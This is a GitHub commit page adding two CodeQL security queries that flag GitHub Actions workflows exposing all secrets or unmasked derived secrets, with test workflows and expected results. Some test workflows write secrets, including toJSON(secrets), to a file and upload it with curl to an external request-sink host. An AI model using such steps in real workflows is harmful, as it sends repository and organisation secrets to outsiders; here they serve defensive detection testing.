Skip to content

Commit ff41cda

Browse files
author
Alvaro Muñoz
authored
Merge pull request #71 from github/query/secret_handling
feat(query): New queries for incorrect secrets handling
2 parents 9f79e51 + 6842bab commit ff41cda

File tree

9 files changed

+97
-2
lines changed

9 files changed

+97
-2
lines changed

‎ql/lib/codeql/actions/ast/internal/Ast.qll

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1288,9 +1288,9 @@ string getAToJsonReferenceExpression(string s, int offset) {
12881288
// not just the last (greedy match) or first (reluctant match).
12891289
result =
12901290
s.trim()
1291-
.regexpFind("(?i)tojson\\([a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*",
1291+
.regexpFind("(?i)tojson\\(\\s*[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*",
12921292
_, offset)
1293-
.regexpCapture("(?i)tojson\\(([a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+)\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*",
1293+
.regexpCapture("(?i)tojson\\(\\s*([a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+)\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*",
12941294
1)
12951295
}
12961296

‎ql/src/Security/CWE-312/ExcessiveSecretsExposure.ql

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
/**
2+
* @name Excessive Secrets Exposure
3+
* @description All organization and repository secrets are passed to the workflow runner.
4+
* @kind problem
5+
* @problem.severity recommendation
6+
* @id actions/excessive-secrets-exposure
7+
* @tags actions
8+
* security
9+
* external/cwe/cwe-312
10+
*/
11+
12+
import actions
13+
import codeql.actions.ast.internal.Ast
14+
15+
from Expression expr
16+
where
17+
getAToJsonReferenceExpression(expr.getExpression(), _).matches("secrets%")
18+
or
19+
expr.getExpression().matches("secrets[%") and
20+
not expr.getExpression().matches("secrets[\"%") and
21+
not expr.getExpression().matches("secrets['%")
22+
select expr, "All organization and repository secrets are passed to the workflow runner in $@",
23+
expr, expr.getExpression()

‎ql/src/Security/CWE-312/UnmaskedSecretExposure.ql

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
/**
2+
* @name Unmasked Secret Exposure
3+
* @description Secrets derived from other secrets are not masked by the workflow runner.
4+
* @kind problem
5+
* @problem.severity error
6+
* @security-severity 9.0
7+
* @precision high
8+
* @id actions/unmasked-secret-exposure
9+
* @tags actions
10+
* security
11+
* external/cwe/cwe-312
12+
*/
13+
14+
import actions
15+
16+
from Expression expr
17+
where expr.getExpression().regexpMatch("(?i).*fromjson\\(secrets\\..*\\)\\..*")
18+
select expr, "An unmasked secret derived from another secret may be exposed in $@", expr,
19+
expr.getExpression()

‎ql/test/query-tests/Security/CWE-312/.github/workflows/neg_test1.yml

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
name: secrets
2+
on:
3+
workflow_dispatch:
4+
jobs:
5+
build:
6+
runs-on: ubuntu-latest
7+
steps:
8+
- run: |
9+
echo '${{ secrets.TOKEN }}' > secrets.txt
10+
curl -X PUT -T ./secrets.txt -H http://3f750d39-1083-44e5-b057-40432fafeeb5.sink.reqsink.com
11+
- env:
12+
A_SECRET: ${{ secrets.TOKEN }}
13+
run: echo "$A_SECRET"
14+
- env:
15+
A_SECRET: ${{ secrets['TOKEN'] }}
16+
run: echo "$A_SECRET"
17+
- env:
18+
A_SECRET: ${{ secrets["TOKEN"] }}
19+
run: echo "$A_SECRET"

‎ql/test/query-tests/Security/CWE-312/.github/workflows/test1.yml

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
name: list-actions-secrets
2+
on:
3+
workflow_dispatch:
4+
jobs:
5+
build:
6+
runs-on: ubuntu-latest
7+
strategy:
8+
matrix:
9+
TOKENS: [WRITE, READ]
10+
steps:
11+
- run: |
12+
echo '${{ toJSON(secrets) }}' > secrets.txt
13+
curl -X PUT -T ./secrets.txt -H http://3f750d39-1083-44e5-b057-40432fafeeb5.sink.reqsink.com
14+
- env:
15+
ALL_SECRETS: ${{ toJSON(secrets) }}
16+
run: echo "$ALL_SECRETS"
17+
- env:
18+
SOME_SECRETS: ${{ secrets[format('PAT_%s', matrix.TOKENS)] }}
19+
run: echo "$SOME_SECRETS"
20+
- env:
21+
username: ${{ fromJson(secrets.AZURE_CREDENTIALS).clientId }}
22+
password: ${{ fromJson(secrets.AZURE_CREDENTIALS).clientSecret }}
23+
run: |
24+
echo "$username"
25+
echo "$password"

‎ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.expected

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
| .github/workflows/test1.yml:12:18:12:39 | toJSON(secrets) | All organization and repository secrets are passed to the workflow runner in $@ | .github/workflows/test1.yml:12:18:12:39 | toJSON(secrets) | toJSON(secrets) |
2+
| .github/workflows/test1.yml:15:25:15:46 | toJSON(secrets) | All organization and repository secrets are passed to the workflow runner in $@ | .github/workflows/test1.yml:15:25:15:46 | toJSON(secrets) | toJSON(secrets) |
3+
| .github/workflows/test1.yml:18:26:18:72 | secrets[format('PAT_%s', matrix.TOKENS)] | All organization and repository secrets are passed to the workflow runner in $@ | .github/workflows/test1.yml:18:26:18:72 | secrets[format('PAT_%s', matrix.TOKENS)] | secrets[format('PAT_%s', matrix.TOKENS)] |

‎ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.qlref

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Security/CWE-312/ExcessiveSecretsExposure.ql
2+

‎ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.expected

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
| .github/workflows/test1.yml:21:22:21:72 | fromJson(secrets.AZURE_CREDENTIALS).clientId | An unmasked secret derived from another secret may be exposed in $@ | .github/workflows/test1.yml:21:22:21:72 | fromJson(secrets.AZURE_CREDENTIALS).clientId | fromJson(secrets.AZURE_CREDENTIALS).clientId |
2+
| .github/workflows/test1.yml:22:22:22:76 | fromJson(secrets.AZURE_CREDENTIALS).clientSecret | An unmasked secret derived from another secret may be exposed in $@ | .github/workflows/test1.yml:22:22:22:76 | fromJson(secrets.AZURE_CREDENTIALS).clientSecret | fromJson(secrets.AZURE_CREDENTIALS).clientSecret |

‎ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.qlref

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Security/CWE-312/UnmaskedSecretExposure.ql
2+

0 commit comments

Comments
 (0)